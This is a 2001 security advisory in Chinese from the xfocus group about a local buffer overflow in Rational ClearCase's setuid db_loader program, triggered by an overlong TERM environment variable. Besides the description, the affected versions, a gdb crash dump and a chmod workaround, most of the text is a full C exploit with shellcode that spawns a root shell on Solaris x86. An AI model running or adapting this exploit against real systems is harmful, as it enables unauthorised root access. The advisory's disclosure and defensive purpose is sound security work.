【实战】ClearCase db_loader环境变量溢出漏洞

ClearCase db_loader环境变量溢出漏洞

创建时间：2001-11-10
文章属性：原创
文章来源：http://xfocus.org
文章提交：inburst (inburst_at_263.net)

----------------------------------
ClearCase db_loader环境变量溢出漏洞
----------------------------------

发布信息
--------

发现日期：2001年8月
公布日期：2001年11月1日
发现者：virtualcat@xfocus.org
网站：http://xfocus.org


简单描述
--------

Rational 公司推出的软件配置管理工具ClearCase主要用于Windows和Unix开发环境。ClearCase提供了全面的配置管理功能——包括版本控制、工作空间管理、建立管理和过程控制，而且无需软件开发者改变他们现有的环境、工具和工作方式。
该管理工具存在一个db_loader程序，该程序默认安装设置了suid位，但当你使用一个超长的环境变量"TERM"的时候，会导致缓冲区溢出，该漏洞可能导致发生系统越权行为。

受影响的软件版本和平台
----------------------

影响版本：ClearCase 3.2+, 4.0, 4.1, 4.2
影响系统：Linux, Solaris sparc, Solaris x86, AIX, HP, Digital, IRIX, SCO etc.


细节
----

$ TERM=`perl -e 'print "A"x550'`
$ export TERM
$ /usr/atria/etc/db_loader
Bus Error
$ gdb db_loader core -q
(no debugging symbols found)...Core was generated by `./db_loader'.
Cannot access memory at address 0xffffffffff3e1b80
#0  0xf0db8 in imsg_fputs ()
(gdb) bt
#0  0xf0db8 in imsg_fputs ()
Cannot access memory at address 0x41414179
(gdb) i reg
g0             0x0      0
g1             0x7b000  503808
g2             0x13cf84 1298308
g3             0x0      0
g4             0xf6c2c  1010732
g5             0x0      0
g6             0x0      0
g7             0x143d58 1326424
o0             0xffffffff       -1
o1             0x1      1
o2             0xffbef054       -4263852
o3             0xf0c3c  986172
o4             0xffbeed8a       -4264566
o5             0xffffffff       -1
sp             0xffbeef70       -4264080
o7             0xf0db0  986544
l0             0x41414141       1094795585
l1             0x41414141       1094795585
l2             0x41414141       1094795585
l3             0x41414141       1094795585
l4             0x41414141       1094795585
l5             0x41414141       1094795585
l6             0x41414141       1094795585
l7             0x41414141       1094795585
i0             0x41414141       1094795585
i1             0x41414141       1094795585
i2             0x41414141       1094795585
i3             0x41414141       1094795585
i4             0x41414141       1094795585
i5             0x41414141       1094795585
fp             0x41414141       1094795585
i7             0x41414141       1094795585
y              0x0      0
psr            0xfe801007       -25161721       icc:N---, pil:0, s:0, ps:0, et:0, cwp:7
wim            0x0      0
tbr            0x0      0
pc             0xf0db8  986552
npc            0xf0dbc  986556
fpsr           0x0      0       rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0
cpsr           0x0      0
(gdb)

本地用户可以通过这一漏洞越权得到超级用户权限。

测试程序
--------

ClearCase_x86exp.c

/* Rational ClearCase TERM environment variable buffer overflow exploit
*  test it again solaris x86 7, bug found by virtualcat@xfocus.org
*  xploit by xundi@xfocus.org
*  website: http://xfocus.org
*/

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define    RET_DIS            550
#define    NOP            0x90
#define    NNOP            512

#define    ENV_VAR            "TERM"

#define    USER_UPPER_MAGIC    0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code    */
char shellCode[] =
    "/xeb/x48/x9a/xff/xff/xff/xff/x07/xff/xc3/x5e/x31/xc0/x89/x46/xb4"
    "/x88/x46/xb9/x88/x46/x07/x89/x46/x0c/x31/xc0/x50/xb0/x8d/xe8/xdf"
    "/xff/xff/xff/x83/xc4/x04/x31/xc0/x50/xb0/x17/xe8/xd2/xff/xff/xff"
    "/x83/xc4/x04/x31/xc0/x50/x8d/x5e/x08/x53/x8d/x1e/x89/x5e/x08/x53"
    "/xb0/x3b/xe8/xbb/xff/xff/xff/x83/xc4/x0c/xe8/xbb/xff/xff/xff/x2f"
    "/x62/x69/x6e/x2f/x73/x68/xff/xff/xff/xff/xff/xff/xff/xff/xff";


int get_esp()
{
    __asm__("mov %esp,%eax");
}

int  getEnvAddr(const char* envPtr)
{
    int    envAddr = NULL;
    int    retCode = 0;

    char* charPtr = (char *) get_esp();

    /* Search for the starting address of the environment string for    */
    /* the specified environment variable                    */
    while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC)
    {
        retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
        /* Found */
        if(retCode == 0)
        {
            envAddr = (int) (charPtr - 1);
            break;
        }
    }

    return envAddr;
}

int main(int argc, char** argv)
{

    char    buff[256] = {0};

    int*    intPtr = NULL;
    char*    buffPtr = NULL;
    char*    charPtr = NULL;

    int    retAddr = 0;
    int    retValue = 0;


    int    buffLen = 0;
    int    adjustment = 0;
    int    strLen = 0;
    int    alignment = 0;
    int    diff = 0;
    int    i;

    int shellCodeLen = strlen(shellCode);

    if(argc == 2)
    {
        adjustment = atoi(argv[1]);
    }

    buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;

    charPtr = getenv(ENV_VAR);

    /* Adjust the stupid alignment    */
    strLen = strlen(charPtr) + 1;
    alignment = strLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        strLen += alignment;
    }

    alignment = buffLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        buffLen += alignment;
    }

    retValue = getEnvAddr(ENV_VAR);

    diff = buffLen - strLen;

    retAddr = retValue - diff + strlen(ENV_VAR) + 1;

    alignment = retAddr % 4;

    if(alignment != 0)
    {
        alignment = 4 - alignment;
    }
    retAddr += RET_DIS + alignment +  adjustment;

    /* Allocate memory for the evil buffer    */
    buffPtr = (char *) malloc(buffLen);

    if(buffPtr != NULL)
    {

        strcpy(buffPtr, ENV_VAR);
        strcat(buffPtr, "=");
        charPtr = (char *) (buffPtr + strlen(buffPtr));

        /* Fill the rest of the buffer with 'A'     */
        memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4);

        /* Butt in the return address            */
        intPtr = (int *) (charPtr + RET_DIS);
        *intPtr++ = retAddr;

        /* Make sure the NOPs are located word aligned     */
        charPtr = (char *) intPtr;
        charPtr += alignment;

        for(i=0; i<NNOP; i++)
        {
            *charPtr++ = NOP;
        }

        for(i=0; i<shellCodeLen; i++)
        {
            *charPtr++ = shellCode[i];
        }
        *charPtr = 0;

        putenv(buffPtr);

        printf("Jumping to 0x%.8x/n", retAddr);

        execl("/usr/atria/etc/db_loader", "xfocus", NULL);
    }
    else
    {
        printf("No more free memory!");
    }
}

/*..Thanks for all xfocus members.. especially virtualcat*/

临时解决办法
------------

# chmod a-s /usr/atria/etc/db_loader

厂商信息
--------

2001年8月已经通知厂商
厂商主页：http://www.rational.com

关于Xfocus
----------

Xfocus是一个于1998年在中国成立的非盈利的网络及系统安全组织，致力于发现网络、通信及软件硬件各方面的脆弱性并进行相关的研究。

版权所有 2001 http://xfocus.org，欢迎转载，但必须保留版权信息。